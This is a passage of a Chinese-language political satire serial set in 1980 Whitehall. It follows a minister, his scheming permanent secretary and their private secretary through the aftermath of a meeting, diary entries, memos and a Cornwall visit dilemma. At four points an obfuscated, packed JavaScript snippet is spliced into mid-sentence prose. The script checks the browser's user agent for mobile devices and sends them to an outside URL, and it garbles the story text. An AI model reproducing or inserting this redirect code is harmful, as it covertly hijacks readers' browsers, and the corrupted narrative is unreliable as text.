代表们鱼贯而出，礼貌性地向查尔斯点头致意，脚步却带着解脱般的轻快。 那位能源部的文官甚至在门口和阿利斯泰低声寒暄了两句，交换了一个彼此理解的眼神。 门在最后一位代表身后关上，会议室里只剩下查尔斯、阿利斯泰和西里尔三人。 查尔斯猛地靠回椅背，扯松领带，长长地呼出一口气。 “一场彻头彻尾的闹剧！”他瞪着天花板，“‘信息共享’？我看更像一场‘合规理由展览会’！程序、安全、预算、主权……他们发明拒绝的效率比传递信息快上一百倍！” 他抓起桌上那份依然光洁如新的议程，用力抖了抖。“看看这个！我们谈了两小时，成果是什么？一套教科书级的‘如何不做事’。这就是DSC的起点？一个官僚主义的笑话集散地？毫无意义，毫无价值。”他的声音在空旷的会议室里回荡，带着被愚弄的愤怒和理想受挫的沮丧。 阿利斯泰慢条斯理地将自己面前那份，关于各部门现有信息通报流程的摘要报告，收进一个标注着“DSC/IDISLM/001”的文件夹里。 西里尔则默默起身收拾桌上散落的文件，动作轻巧，然后回到原位坐下。 他专注地看着自己的笔记本，上面密密麻麻记录着发言要点、部门间的微妙互动、以及那些看似随口的“通报”。暂时没有说话，像一个尽职的观察者，等待着风暴平息或转向。 “意义，是相对的，大臣。”阿利斯泰两手交叉轻轻搭在会议桌上，灰绿色的眼睛转向查尔斯。“我们成功召集了相关部门代表，在一个新设立的、尚无威望的部门主持下，进行了一场名义上的‘协调’会议。这就是意义。一份证明协同协调部正在积极履行其协调职能的报告。这也是意义。它满足形式（fulfills the form），也为内容留痕（leaves a trace）。” “这能证明什么？证明我们协同协调部最擅长组织的，就是一场成功的废话交流会？”查尔斯扯了扯嘴角。 “它向外界证明了我们存在，大臣，证明DSC这个新部门开始运转。” “运转？”查尔斯发出一声嗤笑，“一台空转的机器？” “表面上看，是的。”阿利斯泰承认得很干脆，没有丝毫尴尬，“但每一次看似空转的齿轮，都在为我们描绘整台机器的内部结构图。这并非毫无价值，大臣……” 他的声音带上了些引导的意味：“我们获得了信息（Information），会议本身，就是最具揭示性的信息。” 查尔斯转过头，眼神锐利地看向他：“哦？洗耳恭听，勋爵。请告诉我，除了浪费时间，这场闹剧揭示了什么宝藏？” 11. 会后 阿利斯泰迎上查尔斯的视线，他逐条拆解：“首先，它精确标定了我们目前的影响力阈值。”他目光扫过空位，“哪些部门派出了司长级代表，哪些只来了主管甚至更低的官员，这本身就是一张清晰的关系地图和优先级列表。它告诉我们，谁视DSC为潜在的麻烦或工具，谁根本不屑一顾（who dismisses us outright）。苏格兰、威尔士派出的是实权官员（officers with clout），表明他们对地方事务的敏感；国防部派中校，是标准操作，但也暗示他们不认为此会议需要更高层级关注；卫生部只派科长，其态度不言而喻。” “其次。”他指尖轻轻点了点桌面，“每个部门强调的‘障碍’——程序、安全、预算、主权——恰恰暴露了他们真正的敏感点（sensitivities）和不可触碰的底线（red lines）。苏格兰在乎自治象征甚于数据本身；威尔士紧盯拨款流向，任何可能威胁其财政蛋糕的动作都会引发激烈反弹；工业部恐惧预算黑洞和权责不清带来的责任；卫生部将责任都抛给地方，是其规避中央干预的护城河；国防部……”阿利斯泰停顿了一下，视线越过查尔斯在西里尔的笔记上那个星号短暂停留，“……则习惯性地将一切纳入‘安全’和‘规程’的铠甲之下。了解这些痛点，比了解他们愿意分享的数据本身，更具战略价值（strategic value）。” “第三——”阿利斯泰的声音带上了些几乎难以察觉的玩味，他抬起一只手搭在脸侧，“行为模式与漏洞。观察他们回避问题的技巧、推诿的艺术、以及彼此间心照不宣的默契，是理解白厅真实运作逻辑（operational logic）的……绝佳入门课。书本上学不到，大臣。”他微微前倾，声音压低，带着一种分享秘密的意味。 “工业部那位老司长，熟练运用预算担忧来扼杀新想法；卫生部那位女士，用隐私法规作盾牌堪称教科书级别；苏格兰和威尔士代表之间的微妙眼神交流，暗示着他们在地方自治议题上潜在的联合或竞争。识别这些模式，就是识别潜在的盟友、对手和……可利用的缝隙（exploitable fissures）。” “信息，不仅仅是他们愿意写在纸上的东西。信息是意图的碎片，是恐惧的投影，是权力的边界。我们从每条发言中找到那些隐藏的可能性，抓住每一个细节，通过这个过程，我们系统性地梳理了谁掌握什么，谁在保护什么，谁在害怕什么，谁在试图隐藏什么。每一次‘拒绝’，每一次‘需研究’，都是一枚硬币投进我们的信息池。” “在白厅，信息本身，就是最纯粹的货币（the purest currency），而在DSC，我们需要比任何部门都更清楚他们知道什么，以及……他们不想让别人知道什么（what they know, and more importantly, what they prefer others not to know.）。”阿利斯泰总结道，声音低沉有力。 “至于那位中校的例行通报……”他的目光投向查尔斯，带着考校的意味，“‘南大西洋巡逻船延误’。在国防预算紧缩的背景下，任何部署调整都不是小事。它可能只是维护排期问题，也可能暗示着更广泛的资源捉襟见肘。这条信息本身或许价值有限，但它出现的场合、传达的方式、以及国防部选择在此刻‘共享’它的意图……这些才是水面下的冰山（the submerged bulk of the iceberg）。” 查尔斯眼中的怒火渐渐被复杂的思考所取代，最初的愤怒被一种强行打开新视角的不适和……不情愿的领悟所覆盖。阿利斯泰的分析剖开了会议荒诞表皮下的肌理，露出里面精密冷酷的权力神经与利益血管。 自己追求共享的光明大道，阿利斯泰却在阴影里开辟了一条情报的密径，一条利用官僚体系自身规则来解构和反制它的路径。 这感觉糟透了，却又该死的……有效……甚至带着令人心悸的吸引力。 “所以……”查尔斯的声音带着疲惫和自嘲，“我们今天的伟大成就，就是绘制了一张‘谁不鸟我们’的地图（Pecking Order Map），搜集了一堆‘别碰我’的警告牌（Sensitivity Catalogue），还附带了一条语焉不详的军事八卦？”他揉了揉眉心，“然后我还要写份报告，告诉10号我们取得了‘建设□□流’的成果？这就是你所谓的价值（value）？一堆……别人丢出来的垃圾信息？” “表面价值（Superficial value），大臣，是维系这台机器运转的润滑剂。”阿利斯泰站起身，整理了一下没有褶皱的西装前襟，扣上扣子，“一份措辞得体的报告，强调‘增进相互理解’、‘梳理现有流程’、‘为未来深化合作奠定基础’，是必要的仪式（necessary ritual）。它让所有人——包括首相——感到时间没有被完全虚掷。”他从西里尔手中接过一份早已准备好的文件草案大纲，放在查尔斯面前。 “真正的价值。”阿利斯泰的目光扫过西里尔那本记得密密麻麻的笔记本，“在于我们开始理解这片丛林的规则（the rules of the Greenwood），在于我们手中开始积累的，不仅仅是数据，更是关于‘数据守卫者’的情报地图和痛点目录。信息即权力，大臣（Information is power. Minister.）。权力的第一步，是知道门在哪里，钥匙在谁手里，以及守门犬的脾气如何。（knowing where the doors are, who holds the keys, and the temperament of the guard dogs.）” “西里尔会协助您完成报告，大臣，我相信他会精准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294771|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地捕捉到……会议的精髓（the essence）。”说完，阿利斯泰拿起自己的文件夹，留下查尔斯独自面对那份报告大纲和汹涌的思绪。 查尔斯瞪着那份报告大纲，又望向不见人影的门，最后目光落在西里尔身上。 年轻的PPS正看着他，眼里没有了初时的紧张，反而多了种混合着理解和探究的神情，似乎也在消化这场会议带来的冲击和……那套关于“信息货币”的新规则。 两人回到大臣办公室。 查尔斯没有走向办公桌，直接坐在了会客区的沙发上。 “他总能把一场惨败说得像一次成功的战略侦察，对吧？”查尔斯疲惫地陷进沙发里，苦笑着对西里尔说，声音里带着被打败后的奇异平静，“甚至……让我开始觉得，他说得有那么点道理。这感觉真是……糟透了。” “大臣。”西里尔默默递过来一杯新泡好的茶，“阿利斯泰勋爵……他确实看到了我们没看到的东西，那张‘地图’，可能比我们想象的有用。” 他翻开笔记本，指向自己记录的各代表的姓名、职位、发言要点以及他观察到的细微反应。 “比如，能源部那位霍普金斯先生，他提到加密电传时，特意看了工业部的弗格森先生一眼，而弗格森先生避开了视线。他们之间可能因数据归属有过龃龉。还有国防部中校，他提到‘延误’时，指关节敲了一下桌子，很轻微，但不像无意识的动作……可能表示强调，也可能……只是不耐烦？”他躬下身，将笔记本递近些，方便查尔斯看清那些细致的观察。 查尔斯看着西里尔条理清晰的观察笔记，再想想阿利斯泰那洞悉一切的分析，复杂情绪彻底占据了他。 他接过茶杯，热度透过瓷杯传到掌心。 “是啊，西里尔。”他叹了口气，目光投向窗外白厅街灰蒙蒙的天空，“他看到了丛林里的陷阱和兽径，而我……”查尔斯自嘲的笑笑，“还在画着如何把丛林改造成花园的图纸。” 在这个镀金笼子里，学会解读那些无声的“信息”，学会收集和运用那些“信息硬币”，或许比挥舞任何理想主义的蓝图都更为重要，也更为……现实。 查尔斯拿起那份报告大纲，又看了看不远处白板上自己那些此刻显得无比幼稚的涂鸦——那些关于“效率”、“协同”的理想化词句。 他深吸一口气，最终拿起笔，在报告标题《跨部门信息共享首次例会纪要》下方，用力写下第一行字： “会议目标：初步建立跨部门联络渠道，增进相互理解，梳理现有信息共享机制概况，识别潜在协同机遇与挑战，为后续深化合作奠定基础。” 讽刺的是，这冠冕堂皇的废话，此刻竟显得无比真实。 协同协调部的航程，就在这充斥着官腔、推诿与暗流的情报泥沼中，磕磕绊绊地，真正开始了。而查尔斯·海德，这位理想主义的掌舵者，正被迫学习一门全新的、关于“信息货币”的语法。 12. 查尔斯的日记+西里尔的日记备忘录（1980.1.23- 【幕间】S01E01.5 信息币的回响（Echoes of Information Currency）——三人组的日记及备忘录（1980.1.23-24） 查尔斯·海德的日记 1980年1月23日，星期三。 今天下午，我主持了一场动物园管理员会议。 更确切地说，是一场“跨部门信息共享例会”。与会的动物们——来自白厅各个角落的官僚代表——则表现出了各自物种的鲜明特征：工业部的老树懒，慢条斯理地背诵着文件归档的圣经；卫生部的章鱼女士，用无数条名为“隐私”和“地方权限”的触手，将任何实质性问题都搅成一团墨汁；国防部的猎鹰，高傲地盘踞在“国家安全”的枝头，偶尔丢下一根无关紧要的羽毛，也就是那个所谓的“南大西洋巡逻舰队的例行维护……轻微延误”。 我像个误闯瓷器店的生物，但不是公牛，因为我甚至无力横冲直撞。我试图推动、质询、启发，结果只是看着一屋子精美的瓷器对我礼貌地鞠躬，然后继续纹丝不动地待在它们的原位上。 会议结束后，我几乎要把那张维多利亚风格的会议桌给掀了。而我的常任秘书——代理（acting）——他格外强调的。我们亲爱的“胜利者”阿利斯泰·卡文迪许勋爵，却将这场彻头彻尾的灾难，改名为一次“成功的战略侦察”。 他声称，我们精确标定了影响力阈值，绘制了权力关系地图，搜集了各部门的敏感点和底线。他说，在白厅，信息是货币，而我们刚刚完成了对各家金库防御工事的初步勘测。 糟糕的是，他说得并非全无道理。 这正是最令人恼火之处。 “胜利者”重新定义失败。我主持、我碰壁，这些都是真相。他却把这局面称作“勘测”，而且证据充分到我无法完全反驳。 我像个理想主义的傻瓜。 哈，一个真正的查理（proper Charlie）。 我挥舞着“效率”和“协同”的旗帜冲锋陷阵，他在后方从我扬起的尘土里，分析敌阵、风向与土壤成分。他把我的挫败，当作实验样本。 行吧，信息币。 信息（Information） = 货币（Currency） 或许我该学会如何获得它，如何流通它。只希望它别全是硬币里的假铸。 晚上，西里尔来帮我起草那份给首相的报告。可怜的年轻人，他尽力在我那些充满火药味的讽刺——建议报告标题为《关于白厅各部门如何优雅地无所事事的建设性探讨》——和阿利斯泰那份冰冷的、充满官腔的大纲之间，找到一条体面的中间道路。 “大臣，或许我们可以说，会议‘为未来深化合作奠定了坚实的基础’？”他试探着建议，蓝眼睛里还有些认真。 “西里尔。”我告诉他，“我们奠定的基础，是建立在一片流沙之上的。唯一坚实的东西，是他们拒绝合作的决心。” 但最终，我还是签了字。报告完美无瑕，词句全是“增进理解”、“梳理流程”、“奠定基础”之类的漂亮话。一份完美的、毫无意义的文件。或者说，它的意义恰恰在于它的毫无意义。这是白厅的镜厅，每个人都在映照着别人的姿态，却没人看清自己的脸。 我泡在浴缸里，反复琢磨着国防部中校那句轻描淡写的话：“南大西洋……轻微延误。”在整场充斥着噪音的会议里，这或许是唯一一句真正的信号。一个信号，被包裹在无数层“规程”和“例行”的棉花里，然后被不经意地丢在桌上。为什么是那个场合？为什么用那种方式？ “胜利者”说，这是水面下的冰山。或许吧。 这个协同协调部，这只镀金的笼子——或者他搭建的舞台——恐怕不是让我来改造丛林的，他在试图教会我如何在这片丛林里，分辨出哪些是真正的野兽嗥叫，哪些……只是风声。 糟透了。明天还得继续。 —— —— —— 西里尔的日记 1980年1月23日，星期三 | 伦敦，皮姆利科 | 晴转小雨 IDISLM结束的沉默，比我预想的更厚重。 Sir离开后，只剩下我和大臣。他看上去像在咀嚼一段艰涩的词句。 我给他泡了茶，他苦笑说Sir“把惨败说成战略侦察”。我无法反驳他，但也不能完全赞同，只好把我的笔记摊给他——那些代表们的职位、反应、可能的关联。Sir的分析确实点破了会议表象下的残酷逻辑。大臣想要“花园”的蓝图，而白厅是“丛林（the Greenwood）”。在丛林里，先看懂陷阱和兽径。这个领悟，滋味复杂。 大臣盯着那份“漂亮废话”的大纲，又看向我的笔记——我在MoD旁画的星号，似乎成了他当晚唯一愿意承认的“收获”。 报告最终按Sir的大纲框架写了，充满“建设性”“支持性”的语调。写的时候感觉有些空洞，但这或许就是DSC起步阶段必须的“表面价值”？我替它润进了些细节，让它看上去不至于完全像是空壳。 Sir需要维系机器的润滑，大臣需要向10号证明存在和努力，而我，需要学习在两者之间找到平衡。 回到秘书处，我誊清了会议记录，尽可能让每个“推迟”、“再研究”、“不在职权范围内”的官腔句，听起来都像合情合理的专业建议。 加班到深夜。把桌灯关掉前，我单独抄了个便签，只写两个词： “南大西洋（South Atlantic）” 贴在台灯脚下，希望明天的光落在它身上，别让它淹没在噪音里。 1980年1月24日，星期四 | 伦敦，白厅 | 早，雾仍未散 今天到得更早，锅炉房的热气还没爬满三楼。我泡了壶阿萨姆，浓一些。Sir八点整到办公室，和往常一样准时。他翻看我放在“IN”篮的概览简报，点了点“联络官机制”的条目：“措辞无害，作用可观。”他说。 我明白“可观”的意思并不是“立竿见影”，它更像“把地图画细一点，然后再慢慢往前走”的意思。 十点多，大臣才到办公室，比往常面色更冷。没提昨天下午的会议，只问白板的彩色马克笔到了没。我说到了。他点头。 航程还在迷雾里，但船还在行进。也许，这就是今天的全部乐观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294772|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 —— —— —— 备忘录（MEMORANDUM） 协同协调部 - Department of Synergy Coordination 编号（Ref）：DSC/PO/MIN/IDISLM/INT/001/80 收件人（To）：The Secretary of State（The Rt Hon Charles Hyde MP） 抄送（Cc）：The Acting Permanent Secretary（Mr A. Cavendish） 发件人（From）：C. Astley, PPS 日期（Date）：24 January 1980 主题（Subject）：IDISLM会后要点与后续动作 Minister, 谨就昨日IDISLM会议的后续事宜，呈报以下经提炼的行动要点与低风险跟进事项： 1、联络官机制（无约束性，低摩擦）： 提请各部门指定一名专职联络官（Dedicated Liaison Officer，DLO）。 我方将维护集中名录，并配套标准问询模板（单页、以勾选项为主，叙述最小化）。 行动：私人秘书处于今日下班前以一段式函件征请名单。 2、《白厅信息流动概况简报》（月度，内部流转，仅含已公开/授权摘要）： 内容仅限于已公开或经明确授权共享的信息。 目的：提高可见度；软性梳理“信息归属”版图。 行动：于下周一前呈上初版纲要（No.0）供您审阅。 3、南大西洋备注（于IDISLM会议中标注）： 国防部代表提及巡逻轮换中的“轻微延误”，可能仅为资源排期问题，建议仅被动监测。 现阶段不建议采取任何行动，已录入“观察清单”。 行动：私人秘书处将就此事，私下记录媒体与议会议事录（Hansard）中的相关提及。 4、舆论形象管理（Optics）： 向10号/内阁秘书处的报告建议用语：“建设□□流”、“厘清了流程现状”、“明确了务实的后续步骤（联络官机制、月度简报）”。 行动：相关报告草稿将于明日呈您签发。 并请指示：是否意向于在三月承办首次季度非正式茶叙（Quarterly Informal Tea），目前仅作日期预留。 C. Astley, PPS 阿利斯泰手写批注： 概况简报No. 0于周一09:00前呈送；仅限“公开/授权”摘要，避免“平台/标准化”等措辞。 对南大西洋仅观察不参与，收集主流报章关于海军部署以及维护周期提及，英国议会辩论记录内关键词每周检索一次。 10号稿：基调“建设性/服务性/支持性”；回避“协调/控制/标准化”等敏感措辞。 A.C. 24.01.80 13. 阿利斯泰的备忘录+西里尔的日记备忘录（1980.1.2 送阅备忘 - Minute 内阁办公厅 - Cab Office 编号（Ref）：CO/DSC/APS/IDISLM/Note/80-01 收件人（To）：Sir Albert Sackville, Cab Secretary 发件人（From）：A. Cavendish, Acting Permanent Secretary, DSC 日期（Date）：24 January 1980 主题（Subject）：DSC首次IDISLM会议进展（非约束性联络机制；月度概况） Sir Albert, 协同协调部已召集首次跨部门“信息共享”讨论。参会的出席率与代表级别，反映出当前的优先序列与敏感点。原则上同意建立非约束的联络官机制，以及一份低风险的月度“信息流动概况”简报。我们未寻求、亦未施加任何强制性共享承诺。 观察 - 仅供您阅（for your eyes only）： 各部门更偏好以程序性话语表述；其回避技巧大致对应预算或主权层面的关切； 国防部关于南大西洋巡逻排期“延误”的只字片语，已记为“仅观察”（不作引申）； 海德大臣主持会议投入度高；后续就“以流程为工具”的预期仍需校准。 对10号的对外呈报将保持“建设性”的观感，同时我们将在台下持续推进对“信息版图”的安静梳理。 A. Cavendish 艾伯特爵士的回复便笺（由通讯员送回）： Ally, 对外口径保持“积极而不过度”，避免新增正式机制。 MoD如有任何升级迹象，先口头告知。 给10号的文字力求短而稳，附件从简。（Attachments kept to a minimum.） A.S. 24.01.80 —— —— —— 备忘录（MEMORANDUM） 协同协调部 - Department of Synergy Coordination 编号（Ref）：DSC/MIN/OBS/002/80 收件人（To）：A. Cavendish, Acting Perm Sec 发件人（From）：C. Astley, PPS 日期（Date）：24 January 1980 主题（Subject）：IDISLM会后观察及大臣状态简报 Sir, 谨就会议后至今日上午海德大臣的状态与初步行动，简要汇报如下： 1、情绪与状态（Mood & Status）： 大臣情绪已从昨日的挫败感转为专注的、略带审视的平静。大部分时间在办公室踱步，或在白板前沉思。未再对会议本身发表负面评论。 2、白板使用情况（Whiteboard Usage）： 白板已成为其核心思考工具，目前记录的主要词条（见末尾附件） 3、报告起草（Report Drafting）： 大臣已开始着手草拟呈报首相府的会议报告，基本采纳了您提供的“建设性”框架。他要求我提供所有与会代表发言的逐字稿（已提交）。 4、南大西洋延误备注（South Atlantic ''Delays'' Note）： 关于国防部代表提及的此项，我已录入观察清单。请问，在内部归档时，我应如何界定其优先级？是归为“常规部门间杂音（Routine Inter-departmental Noise）”，还是“低信号潜在事件（Low-signal Potential Event）”？ 5、后勤需求（Logistics）： 大臣要求补充更多颜色的白板马克笔。 我将继续观察，并确保报告草案按时完成。 C. Astley 阿利斯泰手写批注： 挫败是催化剂。他的沉默比他的抱怨包含更多信息。观察其产出。 视觉化是他的流程。每日记录关键词。那是他意图演变的地图。【用线框住了那几个关键词，并批注。】 在被证实为杂音前，一切皆为信号（Everything is signal until proven otherwise. ）。归档至“应急预案–海军资产”项下。与财政部最新的国防预算审查备忘录进行交叉索引。不要标记为“潜在（potential）”，仅记录事实与来源。标签是之后的事。【在“如何界定其优先级？”下方，划了一道清晰的横线】 给他，确保他永远不会用完。一个中断的思考流程是无需有的失误。 A.C. 24.01.80 西里尔抄录的便笺——查尔斯·海德24.01.80在白板上的涂鸦（部分摘录）： 信息（Information） = 货币（Currency）？ 协同（Collaboration） vs 控制（Control）：在白厅是同义词？ 联络官（DLOs）= 门路还是死路？得试试。（Doorways or dead ends? Test.） 海上“延误”——他们说是例行公事。例行公事（Routine） ≠无关紧要（Irrelevant）。 报告：说点真话，但别说任何会着火的话。（Say something true without saying anything inflammable.） 告诫自己：别让地图取代了实地。（Don’t let the map replace the terrain.） —— —— —— 西里尔的日记 1980年1月25日，星期五 | 伦敦，白厅 | 阴，偶有小雨 IDISLM的余波仍在办公室无声回荡。气氛很奇特，不再是周一那种剑拔弩张，变成了一种心照不宣的平静，有点像暴风雨后表面无浪的海，水下暗流涌动。 大臣一上午都待在办公室里，对着那块巨大的白板。他不像前两天那样焦躁地踱步，站得很近，用黑色马克笔在上面画着什么。我送文件进去时瞥了一眼，那是一张复杂的网络图。一个个部门名称被圈起来，像孤岛，之间用虚线连接，线上标注着各种词：“程序”、“安全”、“预算”、“主权”……甚至还有人名。他正在用自己的方式，绘制Sir昨天提到的那张“地图”。看到这一幕，我莫名松了口气。他没有被挫败击垮，开始在用他的方式理解并反击。 下午，Sir召我进他办公室。他的办公室和我上次进去时一样，整洁得像没人用过，只有发文篮里多了几份文件。他没有提昨天的会议，递给我一份来自农业、渔业和食品部（Ministry of Agriculture, Fisheries ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294773|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' and Food）的内部通报。 “西里尔。”他的语气一如既往地简洁，“MAFF和环境部在鳕鱼配额和近海排污标准上有长期分歧。近年围绕欧洲共同渔业政策mon Fisheries Policy, CFP）的配额分配、以及北海/北大西洋渔场的压力，加剧了渔民的焦虑。MAFF希望大臣下周去一趟康沃尔，安抚地方情绪。同时，旅游局也发来邀请，希望大臣能为当地的海鲜节揭幕。同一个港口，同一天。” 我立刻明白了其中的凶险。“Sir，这……这简直是政治陷阱。” “一个机会，西里尔。”他纠正道，“一个测试大臣在现实压力下处理多方矛盾能力的机会。去把相关背景材料整理好，做一份简报，列出所有潜在的利益冲突方和他们的核心诉求。客观，详尽。” 我点头称是，退了出来。拿着这份通报，我感觉自己像是被派去给大臣亲手布置陷阱。只是不知道，这陷阱最终会困住谁。 —— —— —— 备忘录 (MEMORANDUM) 私人备忘录 - Note for File 编号（Ref）：CH/OBS/003/80 收件人（To）：A. Cavendish, Acting Perm. Sec. 发件人（From）：A. Cavendish, Acting Perm. Sec. 日期（Date）：25 January 1980 主题（Subject）：海德的适应性初期评估及下一阶段测试规划 1. 对IDISLM会议的反应评估: 初步反应: 表现出显著的挫败感与理想主义受挫情绪，符合预期。对官僚程序的直接对抗行为（Direct Confrontation）验证了其行动派（Action-Oriented）特质。 次级反应: 已开始吸收“信息即货币”概念。其在白板上绘制的“部门关系与壁垒图”（Departmental Relationship & Barrier Mapping）显示出他正试图将抽象的权力结构转化为可视化模型。这是一个积极信号，表明其具备将战略概念转化为可操作分析的能力，尽管方式尚显粗糙。 2. 下一阶段测试规划： 目标: a) 测试其在脱离白厅理论环境后，处理地方性、高可见度、多方利益冲突的实际能力。 b) 评估其在媒体压力下的即兴表现与危机控制能力。 c) 创造一个“可控的失败”或“代价高昂的成功”，以此为契机，向内阁办公厅申请将“重大地方访问跨部门预协调”纳入DSC的正式职权范围。 情景设计: MAFF（渔业危机研讨会）与旅游局（海鲜节开幕）的日程冲突，本质是“生产衰退”与“消费繁荣”的根本矛盾。将大臣置于此矛盾中心，可最大化其决策压力。 执行: 已指示PPS（Cyril）准备背景简报。Cyril的执行力与忠诚度在可接受范围内，其观察记录将作为评估的重要依据。 3. 结论: 大臣正从“理想主义对抗”阶段，缓慢过渡至“现实主义适应”阶段。此过程需加以引导和……催化。康沃尔情景将是有效的催化剂。 DSC的权力基础，必须建立在一系列被成功“协调”的、其他部门的“失败”之上。我们不制造问题，我们只是确保在问题出现时，最先将其导入可控轨道。 A.C. 14. 双重邀请 【初启航】S01E02 《忧郁的鳕鱼》(The Melancholy Cod) 1980年1月28日，星期一。 一月末的伦敦，难以驱散的寒气包裹着威斯敏斯特，不断渗进协同协调部大臣办公室那过分宽敞的房间。 那张维多利亚风格的橡木桌上，收文篮已经被新的文件堆满，旁边静静的躺着两封刚被查尔斯·海德阅读过的邀请函。 而查尔斯本人正在办公桌旁踱步。 他年轻的首席私人秘书西里尔·埃斯利则小心的站在一旁，目光随着大臣的步伐游移。 终于，查尔斯停下了脚步，转头看向西里尔。 “这是什么邀请？”他指着桌上的邀请函。 西里尔清了清嗓子，随即汇报了两封邀请函的内容：“农业、渔业和食品部（Ministry of Agriculture, Fisheries and Food, MAFF）致函邀请，希望您在星期三能去一趟康沃尔的纽林港，就‘共同渔业政策’配额问题与当地渔民代表举行一次研讨会，安抚地方情绪。同时……”他顿了顿，“旅游局（British Tourist Authority, BTA）也发来邀请，希望您能为同日在同一港口举办的‘康沃尔海鲜节’开幕剪彩。” “……”查尔斯看着他，“我认得字，西里尔。我问的是以你对白厅的理解来看，这背后意味着什么？” “我很抱歉，大臣。我目前掌握的材料，尚无法支持对MAFF与BTA此举的深层动机做出确切判断。但从表面上看，MAFF的邀请旨在通过您的莅临，转移对共同渔业政策谈判僵局的注意力，将地方性压力暂时向上推；而BTA则显然希望利用内阁大臣的身份，最大化海鲜节的媒体曝光和旅游效益。”西里尔背着手，身体悄悄向后倾着。 查尔斯似乎是叹了口气，“同一天，同一个港口，一边是忧郁的渔民在抱怨没鱼可打，另一边是欢乐的游客在庆祝海鲜丰收？政府的崇高艺术，白厅的最新黑色幽默剧本？”他绕回办公桌后坐下。 “这是要我先为鳕鱼的葬礼致悼词，再鼓励人们吃掉它的尸体。他们两家是彻底没通过气，还是串通好了存心想看我的笑话？”说着，查尔斯的声音里带上了些被荒谬感逗乐的意味。 “不是串通，大臣。”西里尔小声纠正，“只是部门间未进行充分的日程协调，导致出现了这个……兼容性问题。” “‘兼容性问题’？很好。下次财政部和国防部为预算吵架时，我就说他们遇到了‘资源分配兼容性问题’。这词真好用，能把一场战争说成一次技术故障……你和阿利斯泰是共用一套替换词词库吗？”查尔斯显然被这个阿利斯泰味十足的选词噎到了。 “说起来，我们的‘观察者’知道这个‘兼容性问题’吗？” “Yes, Minister.”西里尔上前一步，从收文篮里精确地抽出一份薄薄的备忘录，递到查尔斯面前： 备忘录（MEMORANDUM） 协同协调部 - Department of Synergy Coordination 编号（Ref）：DSC/MIN/VISIT/001/80 收件人（To）：The Secretary of State（The Rt Hon Charles Hyde MP） 发件人（From）：A. Cavendish, Acting Permanent Secretary 日期（Date）：28 January 1980 主题（Subject）：关于受邀访问康沃尔郡纽林港的紧急简报与行程冲突 Minister, 1.背景（Background）： 农业、渔业和食品部（MAFF）与环境部（Department of the Environment, DoE）就欧洲共同渔业政策mon Fisheries Policy, CFP）下的渔业配额分配及近海生态保护标准存在长期分歧。康沃尔郡渔民因配额缩减和渔场环境恶化，情绪激动，已多次向MAFF及当地议员表达抗议。 2.邀请与冲突（Invitations & Conflict）： a）MAFF邀请：MAFF正式邀请您于本周三（30 Jan）前往纽林港，出席一场“渔业未来与可持续发展紧急研讨会”，旨在安抚地方情绪，展现中央政府的“倾听姿态”。 b）旅游局邀请：同时，英国旅游局亦邀请您于同一天，在同一港口，为“康沃尔海鲜节”开幕剪彩。该活动旨在推广地方旅游与餐饮。 3.核心矛盾（Core Conflict）： 两项活动本质上代表了不可调和的利益冲突：一方是面临生计危机的生产者（渔民），另一方是庆祝渔业产出的消费者（游客与餐饮业）。 4.风险评估（Risk Assessment）： 媒体风险：您在上午的研讨会上呼吁“限制捕捞，保护渔业资源”，下午则为“海鲜盛宴”剪彩，易被媒体描绘为“虚伪”或“脱离实际”。 政治风险：无论您偏向哪方，都可能激怒另一方及其背后的政府部门，处理不当将严重损害DSC的初生信誉。 物理风险：渔民群体情绪激动，不能完全排除抗议活动干扰或升级为局部冲突的可能性，存在一定的现场秩序风险。 5.建议（Rmendation）： a）建议婉拒其中一项，或两项皆拒，理由为“日程早已排满”或“需优先处理中央跨部门协调事务”。如必须出席，建议仅参加其中一项，并由私人秘书处提前与另一方做好解释与安抚工作。 b）暂缓就此事件做出任何公开倾向性表态，并由DSC牵头，紧急召集MAFF、DoE以及英国旅游局（连同其上级部门DoT的代表），进行一次高层级跨部门协调会议，以评估并提出一个能兼顾各方利益的“公共信息发布协同方案”。此举将体现DSC在处理复杂跨部门冲突中的核心价值。 请指示。 A. Cavendish 内容不长，查尔斯很快便读完了。 “开会？”他显然觉得荒谬。 “让MAFF和BTA的人在白厅坐下来，再花几个星期的时间起草一份‘措辞完美’的联合声明？康沃尔的渔民早就把港口堵了。我们的Lord是在解决问题， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 